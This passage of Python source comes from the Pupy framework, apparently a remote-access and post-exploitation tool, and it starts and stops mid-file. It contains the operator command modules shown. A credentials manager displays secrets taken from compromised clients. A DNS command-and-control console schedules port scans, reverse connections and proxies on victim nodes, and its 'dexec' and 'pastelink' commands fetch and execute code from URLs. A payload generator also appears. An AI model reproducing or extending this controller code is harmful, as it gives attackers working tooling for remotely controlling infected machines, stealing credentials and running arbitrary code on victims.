args.args: value += ' ' value += ' '.join(args.args) config.set(args.section, args.key, value) config.save(project=args.write_project, user=args.write_user) except config.NoSectionError: handler.display(Error(args.section, 'No section')) elif args.command == 'unset': try: if args.keys: for key in args.keys: config.remove_option(args.section, key) else: to_remove = [ k for k, _ in config.items(args.section) ] for k in to_remove: config.remove_option(args.section, k) config.remove_section(args.section) config.save(project=args.write_project, user=args.write_user) except config.NoSectionError: handler.display(Error(args.section, 'No section')) elif args.command == 'save': config.save(project=args.write_project, user=args.write_user) ================================================ FILE: pupy/commands/connect.py ================================================ # -*- encoding: utf-8 -*- from __future__ import absolute_import from __future__ import division from __future__ import print_function import pupy.network.conf as conf launcher = conf.launchers['connect']( connect_on_bind_payload=True ) usage = 'Connect to the bind payload' parser = launcher.arg_parser def do(server, handler, config, args): launcher.args = args launcher.parse_args(None) server.connect_on_client(launcher) ================================================ FILE: pupy/commands/creds.py ================================================ # -*- encoding: utf-8 -*- from __future__ import absolute_import from __future__ import division from __future__ import print_function from pupy.pupylib.PupyModule import PupyArgumentParser from pupy.pupylib.PupyOutput import ( Color, Error, Success, Table, TruncateToTerm, NewLine, Line, MultiPart ) from pupy.pupylib.utils.credentials import Credentials usage = 'Credentials manager' parser = PupyArgumentParser(prog='creds', description=usage) parser.add_argument('-A', '--all', action='store_true', default=False, help='Search/Show info for all machines, not only active ones') parser.add_argument('-k', '--key', help='Search in key in objects with key') parser.add_argument('-s', '--sort', action='store_true', help='Search in key in objects with key') parser.add_argument('--delete-db', action='store_true', help='Delete DB') parser.add_argument('search', default='', nargs='?', help='Keyword to search') def do(server, handler, config, modargs): try: credentials = Credentials(config=config) except Exception as e: handler.display(Error(e)) return clients = server.get_clients_list() filter_cids = None if modargs.delete_db: credentials.remove() handler.display(Success('DB deleted')) return if not modargs.all: filter_cids = set([ client.short_name() for client in clients ]) filter_cids.update([ client.node() for client in clients ]) categories = {} try: for item in credentials.display(search=modargs.search, is_sorted=modargs.sort): if item['category'] not in categories: categories[item['category']] = { 'credtype': item.get('credtype'), 'creds': [] } category = categories[item['category']] category['creds'].append({ k:v for k,v in item.items() if k in ( 'cid', 'login', 'secret', 'resource' ) }) except Exception as e: raise handler.display(Error(e)) return if not categories: handler.display(Error('DB is empty')) return try: for category, info in categories.items(): if not info['creds']: continue if filter_cids: info['creds'] = [ cred for cred in info['creds'] if cred['cid'] in filter_cids ] if not info['creds']: continue credtype = info['credtype'] columns = ['cid', 'login', 'secret', 'resource'] caption = category if all(not x['resource'] for x in info['creds']): del columns[columns.index('resource')] cids = set(x['cid'] for x in info['creds']) if len(cids) == 1: del columns[columns.index('cid')] caption += ' (cid={})'.format(list(cids)[0]) if credtype in ('plaintext', 'hash') or all( len(x['secret']) <= 64 for x in info['creds']): handler.display(TruncateToTerm( Table(info['creds'], columns, caption=Color(caption, 'yellow')))) else: caption = Line('{', Color(caption, 'yellow'), '}') handler.display(caption) parts = [] for cred in info['creds']: line = [] for column in columns: if column == 'secret' or not cred[column]: continue line.append(Color(column+':', 'yellow')) line.append(Color(cred[column], 'lightyellow')) line.append(NewLine()) line.append(cred['secret']) line.append(NewLine()) parts.append(Line(*line)) handler.display(MultiPart(parts)) handler.display(NewLine()) except Exception as e: handler.display(Error(e)) return ================================================ FILE: pupy/commands/dnscnc.py ================================================ # -*- encoding: utf-8 -*- from __future__ import absolute_import from __future__ import division from __future__ import print_function from pupy.pupylib.PupyModule import PupyArgumentParser from pupy.pupylib.PupyOutput import Success, Error, Table, Color import time usage = 'DNSCNC control' parser = PupyArgumentParser(prog='dnscnc', description=usage) parser.add_argument('-n', '--node', help='Send command only to this node (or session)') parser.add_argument('-d', '--default', action='store_true', default=False, help='Set command as default for new connections') commands = parser.add_subparsers(title='commands', dest='command') status = commands.add_parser('status', help='DNSCNC status') sessions = commands.add_parser('sessions', help='List known DNSCNC sessions') sessions.add_argument('-r', action='store_true', help='Reverse sorting') sorting = sessions.add_mutually_exclusive_group() sorting.add_argument('-b', action='store_true', help='Sort by boot time') sorting.add_argument('-o', action='store_true', help='Sort by OS') sorting.add_argument('-i', action='store_true', help='Sort by IP') sorting.add_argument('-n', action='store_true', help='Sort by node') sorting.add_argument('-d', action='store_true', help='Sort by duration') sorting.add_argument('-c', action='store_true', help='Sort by pending commands') nodes = commands.add_parser('nodes', help='List known DNSCNC nodes') nodes.add_argument('-r', action='store_true', help='Reverse sorting') nodes_sorting = nodes.add_mutually_exclusive_group() nodes_sorting.add_argument('-a', action='store_true', help='Sort by Alert') nodes_sorting.add_argument('-i', action='store_true', help='Sort by CID') nodes_sorting.add_argument('-I', action='store_true', help='Sort by IID') nodes_sorting.add_argument('-n', action='store_true', help='Sort by node') nodes_sorting.add_argument('-d', action='store_true', help='Sort by duration') nodes_sorting.add_argument('-c', action='store_true', help='Sort by pending commands') nodes_sorting.add_argument('-v', action='store_true', help='Sort by version') info = commands.add_parser('info', help='List known DNSCNC clients system status') info.add_argument('-r', action='store_true', help='Reverse sorting') info_sorting = info.add_mutually_exclusive_group() info_sorting.add_argument('-n', action='store_true', help='Sort by node') info_sorting.add_argument('-i', action='store_true', help='Sort by IP') info_sorting.add_argument('-o', action='store_true', help='Sort by OS') info_sorting.add_argument('-c', action='store_true', help='Sort by CPU load') info_sorting.add_argument('-m', action='store_true', help='Sort by MEM load') info_sorting.add_argument('-l', action='store_true', help='Sort by listeners count') info_sorting.add_argument('-e', action='store_true', help='Sort by established connections count') info_sorting.add_argument('-u', action='store_true', help='Sort by users count') info_sorting.add_argument('-x', action='store_true', help='Sort by idle') info_sorting.add_argument('-t', action='store_true', help='Sort by tags') wait = commands.add_parser('wait', help='Wait all commands applied or session gone') wait.add_argument('-t', '--timeout', type=int, help='Timeout') policy = commands.add_parser('set', help='Change policy (polling, timeout)') policy.add_argument('-p', '--poll', help='Set poll interval', type=int) kex = policy.add_mutually_exclusive_group() kex.add_argument('-K', '--no-kex', default=None, action='store_true', help='Disable KEX') kex.add_argument('-k', '--kex', default=None, action='store_true', help='Enable KEX') policy.add_argument('-t', '--timeout', type=int, help='Set session timeout') connect = commands.add_parser('connect', help='Request reverse connection') connect.add_argument('-c', '--host', help='Manually specify external IP address for connection') connect.add_argument('-p', '--port', help='Manually specify external PORT for connection') connect.add_argument('-t', '--transport', help='Manually specify transport for connection') connect.add_argument('-f', '--fronting', help='Hostname for fronting') reset = commands.add_parser('reset', help='Reset scheduled commands') disconnect = commands.add_parser('disconnect', help='Request disconnection') reexec = commands.add_parser('reexec', help='Try to reexec module') onlinestatus = commands.add_parser('onlinestatus', help='Try to check network ability (warning: noisy)') extra = commands.add_parser('extra', help='Get extra info from session (cyan colored)') scan = commands.add_parser('scan', help='Try to connect to remote host ports (range)') scan.add_argument('host', type=str, help='Host') scan.add_argument('first', type=int, help='First port in range') scan.add_argument('last', type=int, nargs='?', help='Last port in range') sleep = commands.add_parser('sleep', help='Postpone any activity') sleep.add_argument('-t', '--timeout', default=10, type=int, help='Timeout (seconds)') pastelink = commands.add_parser('pastelink', help='Execute code by link to pastebin service') pastelink.add_argument('-a', '--action', choices=['exec', 'pyexec', 'sh'], default='pyexec', help='Action - execute as executable, or evaluate as python/sh code') pastelink_src = pastelink.add_mutually_exclusive_group(required=True) pastelink_src.add_argument('-c', '--create', metavar='', help='Create new pastelink from file') pastelink_src.add_argument('-C', '--create-content', metavar=('', ''), nargs=2, help='Create new content from file and store content to specified path') pastelink_src.add_argument('-u', '--url', help='Specify existing URL') pastelink.add_argument('-1', '--legacy', default=False, action='store_true', help='Encrypt using legacy V1 encoder') dexec = commands.add_parser('dexec', help='Execute code by link to service controlled by you') dexec.add_argument('-a', '--action', choices=['exec', 'pyexec', 'sh'], default='pyexec', help='Action - execute as executable, or evaluate as python/sh code') dexec.add_argument('-u', '--url', required=True, help='URL to data') dexec.add_argument('-p', '--proxy', action='store_true', default=False, help='Ask to use system proxy (http/https only)') proxy = commands.add_parser('proxy', help='Set connection proxy') proxy.add_argument('uri', help='URI. Example: http://user:password@192.168.0.1:3128 or none') exit = commands.add_parser('exit', help='Request exit') def do(server, handler, config, args): if not server.dnscnc: handler.display(Error('DNSCNC disabled')) return if args.command == 'status': policy = handler.dnscnc.policy objects = { 'DOMAIN': server.dnscnc.dns_domain, 'DNS PORT': str(server.dnscnc.dns_port), 'RECURSOR': server.dnscnc.dns_recursor, 'LISTEN': str(server.dnscnc.dns_listen), 'SESSIONS': 'TOTAL={} DIRTY={}'.format( server.dnscnc.count, server.dnscnc.dirty ), 'POLL': '{}s'.format(policy['interval']), 'TIMEOUT': '{}s'.format(policy['timeout']), 'KEX': '{}'.format(bool(policy['kex'])), } handler.display(Table([ {'PROPERTY':k, 'VALUE':v} for k,v in objects.items() ], ['PROPERTY', 'VALUE'])) if server.dnscnc.commands: handler.display('\nDEFAULT COMMANDS:\n'+'\n'.join([ '{:03d} {}'.format(i, cmd) for i, cmd in enumerate(server.dnscnc.commands) ])) if server.dnscnc.node_commands: handler.display('\nNODE DEFAULT COMMANDS:') for node, commands in server.dnscnc.node_commands.items(): handler.display('\n' + '\n'.join([ '{:03d} {}: {}'.format( i, '{:012x}'.format(node) if type(node) == int else node, cmd ) for i, cmd in enumerate(commands) ])) elif args.command == 'info': sessions = server.dnscnc.list(args.node) if not sessions: handler.display(Success('No active DNSCNC sesisons found')) return objects = [] sort_by = None if args.o: sort_by = lambda x: x.system_info['os'] + x.system_info['arch'] elif args.i: sort_by = lambda x: x.system_info['external_ip'] elif args.n: sort_by = lambda x: x.system_info['node'] elif args.c: sort_by = lambda x: x.system_status['cpu'] elif args.m: sort_by = lambda x: x.system_status['mem'] elif args.l: sort_by = lambda x: x.system_status['listen'] elif args.e: sort_by = lambda x: x.system_status['remote'] elif args.u: sort_by = lambda x: x.system_status['users'] elif args.x: sort_by = lambda x: x.system_status['idle'] elif args.t: sort_by = lambda x: str(sorted(config.tags(x.system_info['node']))) if sort_by: sessions = sorted(sessions, key=sort_by, reverse=bool(args.r)) for idx, session in enumerate(sessions): if not (session.system_status and session.system_info): continue object = { '#': '{:03d}'.format(idx), 'P': '', 'NODE': '{:012x}'.format(session.system_info['node']), 'SESSION': '{:08x}'.format(session.spi), 'EIP': session.system_info['external_ip'] or '?', 'IIP': session.system_info.get('internal_ip') or '', 'OS': '{}/{}'.format( session.system_info['os'], session.system_info['arch'] ), 'CPU': '{:d}%'.format(session.system_status['cpu']), 'MEM': '{:d}%'.format(session.system_status['mem']), 'LIS': '{:d}'.format(session.system_status['listen']), 'EST': '{:d}'.format(session.system_status['remote']), 'USERS': '{:d}'.format(session.system_status['users']), 'IDLE': '{}'.format(session.system_status['idle']), 'TAGS': '{}'.format(config.tags(session.system_info['node'])) } pupy_session = None for c in server.clients: if 'spi' in c.desc: if c.desc['spi'] == '{:08x}'.format(session.spi): pupy_session = c.desc['id'] break # elif c.node() == '{:012x}'.format(session.system_info['node']): # pupy_session = c.desc['id'] if pupy_session: object.update({ 'P': pupy_session }) color = '' if (session.online_status or session.egress_ports or session.open_ports): color = 'cyan' elif session.system_status['cpu'] > 90 or session.system_status['mem'] > 90: color = 'lightred' elif (session.pstore_dirty): color = 'magenta' elif not session.system_status['idle']: color = 'lightyellow' elif pupy_session: color = 'lightgreen' if color: object = { k:Color(v, color) for k,v in object.items() } objects.append(object) columns = [ '#', 'P', 'NODE', 'SESSION', 'EIP', 'IIP', 'OS', 'CPU', 'MEM', 'LIS', 'EST', 'USERS', 'IDLE', 'TAGS' ] handler.display(Table(objects, columns)) elif args.command == 'sessions': sessions = server.dnscnc.list(args.node) if not sessions: handler.display(Success('No active DNSCNC sesisons found')) return objects = [] sort_by = None if args.b: sort_by = lambda x: x.system_info['boottime'] elif args.o: sort_by = lambda x: x.system_info['os'] + x.system_info['arch'] elif args.i: sort_by = lambda x: x.system_info['external_ip'] elif args.d: sort_by = lambda x: x.duration elif args.c: sort_by = lambda x: x.commands elif args.n: sort_by = lambda x: x.system_info['node'] if sort_by: sessions = sorted(sessions, key=sort_by, reverse=bool(args.r)) for idx, session in enumerate(sessions): object = { '#': idx, 'P': '', 'NODE': '{:012x}'.format(session.system_info['node']), 'SESSION': '{:08x}'.format(session.spi), 'EXTERNAL IP': '{}'.format( session.system_info['external_ip'] or '?' ), 'INTERNAL IP': '{}'.format( session.system_info.get('internal_ip') or '' ), 'ONLINE': '{}'.format( 'Y' if session.system_info['internet'] else 'N' ), 'IDLE': '{}s'.format(session.idle), 'DURATION': '{}s'.format(session.duration), 'OS': '{}/{}'.format( session.system_info['os'], session.system_info['arch'] ), 'BOOTED': '{}s'.format( session.system_info['boottime'].ctime()) if \ session.system_info['boottime'] else '?', 'CMDS': '{}'.format(len(session.commands)) } pupy_session = None for c in server.clients: if 'spi' in c.desc: if c.desc['spi'] == '{:08x}'.format(session.spi): pupy_session = c.desc['id'] break # elif c.node() == '{:012x}'.format(session.system_info['node']): # pupy_session = c.desc['id'] color = None if pupy_session: object.update({ 'P': pupy_session }) color = 'lightgreen' elif session.idle > server.dnscnc.policy['interval']: color = 'grey' elif not session.system_info['internet']: color = 'lightred' elif len(session.commands) > 0: color = 'yellow' if color: object = { k:Color(v, color) for k,v in object.items() } objects.append(object) columns = [ '#', 'P', 'NODE', 'SESSION', 'OS', 'ONLINE', 'EXTERNAL IP', 'INTERNAL IP', 'IDLE', 'DURATION', 'BOOTED', 'CMDS' ] handler.display(Table(objects, columns)) elif args.command == 'nodes': nodes = server.dnscnc.nodes(args.node) if not nodes: handler.display(Success('No active DNSCNC nodes found')) return objects = [] sort_by = None if args.i: sort_by = lambda x: x.cid if args.a: sort_by = lambda x: x.alert elif args.I: sort_by = lambda x: x.iid elif args.d: sort_by = lambda x: x.duration elif args.c: sort_by = lambda x: len(x.commands) elif args.n: sort_by = lambda x: x.node elif args.v: sort_by = lambda x: x.version if sort_by: nodes = sorted(nodes, key=sort_by, reverse=bool(args.r)) for idx, node in enumerate(nodes): object = { '#': idx, 'P': '', 'A': 'Y' if node.alert else '', 'NODE': '{:012x}'.format(node.node), 'IID': '{}'.format( 'pid:{}'.format(node.iid) if node.iid < 65535 \ else 'spi:{:08x}'.format(node.iid)), 'VER': '{}'.format(node.version), 'CID': '{:08x}'.format(node.cid), 'IDLE': '{}s'.format(node.idle), 'DURATION': '{}s'.format(node.duration), 'CMDS': '{}'.format(len(node.commands)), 'TAGS': '{}'.format(config.tags(node.node)), 'WARN': '{}'.format(node.warning if node.warning else '') } pupy_session = None ids = [] for c in server.clients: if c.node() == '{:012x}'.format(node.node): if (node.iid <= 65535 and c.desc['pid'] % 65535 == node.iid) \ or (node.iid > 65535 and 'spi' in c.desc and \ c.desc['spi'] == '{:08x}'.format(node.iid)): ids.append(str(c.desc['id'])) if ids: pupy_session = ','.join(ids) color = None if pupy_session: object.update({ 'P': pupy_session }) if node.alert: color = 'lightred' elif node.warning: color = 'cyan' elif pupy_session: color = 'lightgreen' elif node.idle > server.dnscnc.policy['interval']: color = 'grey' elif len(node.commands) > 0: color = 'yellow' if color: object = { k:Color(v, color) for k,v in object.items() } objects.append(object) columns = [ '#', 'P', 'A', 'NODE', 'IID', 'VER', 'CID', 'IDLE', 'DURATION', 'CMDS', 'TAGS', 'WARN' ] handler.display(Table(objects, columns)) elif args.command == 'wait': now = time.time() timeout = None if args.timeout: timeout = now + args.timeout else: timeout = now + handler.dnscnc.policy['timeout'] dirty = True while dirty or (time.time() >= timeout): dirty = False for session in server.dnscnc.list(): if len(session.commands) > 0: dirty = True if dirty: time.sleep(1) elif args.command == 'set': set_kex = None if args.kex is not None: set_kex = True elif args.no_kex is not None: set_kex = False if all([x is None for x in [set_kex, args.timeout, args.poll]]): handler.display(Error('No arguments provided.')) else: count = server.dnscnc.set_policy(set_kex, args.timeout, args.poll, node=args.node) if count: handler.display(Success('Apply policy to {} known nodes'.format(count))) elif args.command == 'reset': count = server.dnscnc.reset( session=args.node, default=args.default ) if count: handler.display(Success('Reset commands on {} known nodes'.format(count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node))) elif args.command == 'connect': # try: count = server.dnscnc.connect( args.host, args.port, args.transport, args.fronting, node=args.node, default=args.default ) # except Exception, e: # handler.display(Error(e)) # return if count: handler.display(Success('Schedule connect {} known nodes'.format(count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node))) elif args.command == 'onlinestatus': count = server.dnscnc.onlinestatus(node=args.node, default=args.default) if count: handler.display(Success('Schedule online status request to {} known nodes'.format(count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node))) elif args.command == 'scan': count = server.dnscnc.scan( args.host, args.first, args.last or args.first, node=args.node, default=args.default ) if count: handler.display(Success('Schedule scan request to {} known nodes'.format(count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node))) elif args.command == 'disconnect': count = server.dnscnc.disconnect( node=args.node, default=args.default ) if count: handler.display(Success('Schedule disconnect to {} known nodes'.format(count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node))) elif args.command == 'exit': count = server.dnscnc.exit( node=args.node, default=args.default ) if count: handler.display(Success('Schedule exit to {} known nodes'.format(count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node))) elif args.command == 'reexec': count = server.dnscnc.reexec( node=args.node, default=args.default ) if count: handler.display(Success('Schedule reexec to {} known nodes'.format(count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node))) elif args.command == 'sleep': count = server.dnscnc.sleep( args.timeout, node=args.node, default=args.default ) if count: handler.display(Success('Schedule sleep to {} known nodes'.format(count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node))) elif args.command == 'proxy': count = server.dnscnc.proxy( args.uri, node=args.node, default=args.default ) if count: handler.display(Success('Schedule proxy to {} known nodes'.format(count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node))) elif args.command == 'dexec': count = server.dnscnc.dexec( args.url, args.action, proxy=args.proxy, node=args.node, default=args.default ) if count: handler.display(Success('Schedule sleep to {} known nodes'.format(count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node))) elif args.command == 'pastelink': try: create = None output = None if args.create: create = args.create elif args.create_content: create, output = args.create_content count, url = server.dnscnc.pastelink( content=create, output=output, url=args.url, action=args.action, node=args.node, default=args.default, legacy=args.legacy ) if output: return if count: handler.display(Success('Schedule exit to {} known nodes'.format(count))) elif args.node: handler.display(Error('Node {} not found'.format(args.node))) except ValueError as e: handler.display(Error('{}'.format(e))) elif args.command == 'extra': sessions = server.dnscnc.list(args.node) if not sessions: handler.display(Error('No sessions found')) return elif len(sessions) > 1: handler.display(Error('Selected more than one sessions')) return session = sessions[0] if session.online_status: handler.display('\nONLINE STATUS\n') objects = [ { 'KEY':Color( k.upper().replace('-', ' '), 'green' if session.online_status[k] else 'lightyellow' ), 'VALUE':Color( str(session.online_status[k]).upper(), 'green' if session.online_status[k] else 'lightyellow' ) } for k in [ 'online', 'igd', 'hotspot', 'dns', 'ntp', 'direct-dns', 'http', 'https', 'https-no-cert', 'https-mitm', 'proxy', 'transparent-proxy', 'stun', 'mintime', 'ntp-offset' ] ] handler.display(Table(objects, ['KEY', 'VALUE'])) handler.display('\nPASTES STATUS\n') objects = [ { 'KEY': Color(k, 'green' if v else 'lightyellow'), 'VALUE':Color(v, 'green' if v else 'lightyellow') } for k,v in session.online_status['pastebins'].items() ] handler.display(Table(objects, ['KEY', 'VALUE'])) session.online_status = None if session.egress_ports: handler.display('\nEGRESS PORTS: {}\n'.format(','.join(str(x) for x in session.egress_ports))) session.egress_ports = set() if session.open_ports: handler.display('\nOPEN PORTS\n') objects = [ { 'IP': str(ip), 'PORTS': ','.join(str(x) for x in ports) } for ip,ports in session.open_ports.items() ] handler.display(Table(objects, ['IP', 'PORTS'])) session.open_ports = {} ================================================ FILE: pupy/commands/exit.py ================================================ # -*- encoding: utf-8 -*- from __future__ import absolute_import from __future__ import division from __future__ import print_function from pupy.pupylib.PupyModule import PupyArgumentParser usage = 'Exit Shell' parser = PupyArgumentParser(prog='exit', description=usage) def do(server, handler, config, args): for job in server.jobs.values(): job.stop() if server.dnscnc: handler.display_srvinfo('Stopping DNSCNC') server.dnscnc.stop() server.stop() ================================================ FILE: pupy/commands/exposed.py ================================================ # -*- encoding: utf-8 -*- from __future__ import absolute_import from __future__ import division from __future__ import print_function from pupy.pupylib.PupyModule import PupyArgumentParser from pupy.pupylib.PupyOutput import Table usage = 'list exposed objects/methods' parser = PupyArgumentParser(description=usage) def do(server, handler, config, modargs): for client in server.get_clients(handler.default_filter): objects = [] with client.conn._conn._local_objects._lock: for klass, refcnt in \ client.conn._conn._local_objects._dict.values(): objects.append({ 'OID': id(klass), 'Object': repr(klass), 'Refs': refcnt }) handler.display(Table( objects, headers=['OID', 'Object', 'Refs'], caption=client.short_name() )) ================================================ FILE: pupy/commands/gen.py ================================================ # -*- encoding: utf-8 -*- from __future__ import absolute_import from __future__ import division from __future__ import print_function import os from pupy.pupylib.PupyModule import PupyArgumentParser from pupy.pupylib.PupyOutput import Info, Warn, Success, Error from pupy.pupylib.utils.listener import get_listener_ip, get_listener_port from pupy.pupylib.utils.listener import get_listener_ip_with_local from pupy.cli import pupygen usage = 'Generate payload' def parser(server, handler, config): return pupygen.get_parser(PupyArgumentParser, config=config) def do(server, handler, config, args): handler.display(Info("Raw user arguments given for generation: {0}".format(str(args.launcher_args)))) if not args.launcher: handler.display(Info("Launcher/connection method not given. It is set to 'connect' now")) args.launcher = 'connect' #launcher method 'connect' or 'auto_proxy' if args.launcher and args.launcher in ('connect', 'auto_proxy'): transport = None #For saving the transport method (default or given by user) transport_idx = None host = None #Host for listening point (not for launcher args) port = None #Port for listening point (not for launcher args) host_idx = None #For saving host:port from user args (if given by user) preferred_ok = True need_transport = False #For appending transport method in launcher args need_hostport = False #For appending host & port for connection back in launcher args if args.launcher_args: #Some arguments are given in command line, saving host&port and transport method total = len(args.launcher_args) for idx,arg in enumerate(args.launcher_args): if arg == '-t' and idx < total-1: #Manage Transport transport = args.launcher_args[idx+1] transport_idx = idx+1 handler.display(Info( "Launcher configuration: Transport for connection back will be set to {0}".format( repr(transport)))) elif arg == '--host' and idx